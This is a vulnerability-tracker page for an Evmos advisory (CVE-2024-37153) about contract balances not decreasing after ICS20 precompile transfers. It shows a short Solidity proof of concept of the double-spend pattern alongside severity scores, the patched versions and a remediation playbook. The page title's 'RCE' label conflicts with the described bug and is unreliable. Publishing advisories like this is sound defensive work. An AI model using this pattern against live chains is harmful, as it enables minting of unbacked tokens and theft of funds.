Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
HIGH severity

GHSA-xgr7-jgq3-mhmc — v18

HIGHFix: evmos/evmos@478b7a6

GHSA-xgr7-jgq3-mhmc is a high-severity (CVSS 7.5) CWE-670 vulnerability in github.com/evmos/evmos/v18. 1 public exploit reference exists, so weaponization risk is real. A fix is available for github.com/evmos/evmos/v18 — see the affected versions and patch details below.

Contract balance not updating correctly after interchain transaction

Also known asCVE-2024-37153GO-2024-2903
Published
Jun 6, 2024
Updated
Sep 10, 2026
Affected
13 pkgs
Patched
13 / 13
Exploits
1 known
Exploitation data as of Sep 24, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for GHSA-xgr7-jgq3-mhmc.

EPSS Exploitation Probability

via FIRST.org ↗
0.6%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs47th percentile — riskier than 47% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-xgr7-jgq3-mhmc plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 379,145 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

13 pkgs affected
🐹github.com/evmos/evmos/v18🐹github.com/evmos/evmos/v17🐹github.com/evmos/evmos/v16🐹github.com/evmos/evmos/v15🐹github.com/evmos/evmos/v14🐹github.com/evmos/evmos/v13🐹github.com/evmos/evmos/v12🐹github.com/evmos/evmos/v11+5 more

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Short summary of the problem. Make the impact and severity as clear as possible. For example: An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the server.

Details

We discovered a bug walking through how to liquid stake using Safe which itself is a contract. The bug only appears when there is a local state change together with an ICS20 transfer in the same function and uses the contract's balance, that is using the contract address as the sender parameter in an ICS20 transfer using the ICS20 precompile

Proof of Concept

// This function does not reduce the contract balance correctly but liquid stakes correctly 
function transfer(
        string memory sourcePort,
        string memory sourceChannel,
        string memory denom,
        uint256 amount,
        string memory receiver,
        string memory evmosReceiver
    ) external returns (uint64 nextSequence) {
        counter += 1; # Only happens when there is a local state update together with an ICS20 Transfer
        Height memory timeoutHeight =  Height(100, 100);
        string memory memo = buildLiquidStakeMemo(receiver, evmosReceiver);
        return ICS20_CONTRACT.transfer(
            sourcePort, 
            sourceChannel,
            denom,
            amount,
            address(this), # this is the sender address which is the contract
            receiver,
            timeoutHeight,
            0,
            memo
        );
    }

Impact

This is in essence the "infinite money glitch" allowing contracts to double the supply of Evmos after each transaction.

Severity

Based on ImmuneFi Severity Classification System the severity was evaluated to Critical since the attack could have lead to create new supply of EVMOS and therefore lead to Direct loss of funds's value.

Patches

The issue has been patched in versions >=V18.1.0.

For more information

If you have any questions or comments about this advisory:

Reach out to the Core Team in Discord Open a discussion in evmos/evmos Email us at [email protected] for security questions

Affected Packages

13 total 13 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/evmos/evmos/v18all versions18.1.0go get github.com/evmos/evmos/v18@v18.1.0
🐹Gogithub.com/evmos/evmos/v17all versions18.1.0go get github.com/evmos/evmos/v17@v18.1.0
🐹Gogithub.com/evmos/evmos/v16all versions18.1.0go get github.com/evmos/evmos/v16@v18.1.0
🐹Gogithub.com/evmos/evmos/v15all versions18.1.0go get github.com/evmos/evmos/v15@v18.1.0
🐹Gogithub.com/evmos/evmos/v14all versions18.1.0go get github.com/evmos/evmos/v14@v18.1.0
🐹Gogithub.com/evmos/evmos/v13all versions18.1.0go get github.com/evmos/evmos/v13@v18.1.0
Exploits & PoCs
1

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/evmos/evmos/v18, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/evmos/evmos/v18 to 18.1.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-xgr7-jgq3-mhmc is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-xgr7-jgq3-mhmc can be triaged on real exposure rather than presence alone.

Tailored to GHSA-xgr7-jgq3-mhmc. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary _Short summary of the problem. Make the impact and severity as clear as possible. For example: An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the server._ ### Details We discovered a bug walking through how to liquid stake using Safe which itself is a contract. The bug only appears when there is a local state change together with an ICS20 transfer in the same function and uses the contract's balance, that is using the contract address as the `sender` parameter in an ICS20 transfer using the ICS20 precompile ### Proof of Concep
O3 Security · Impact-Aware SCA

Is GHSA-xgr7-jgq3-mhmc in your dependencies?

O3 Security finds GHSA-xgr7-jgq3-mhmc across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-xgr7-jgq3-mhmc: v18 RCE (High 7.5) | O3 Security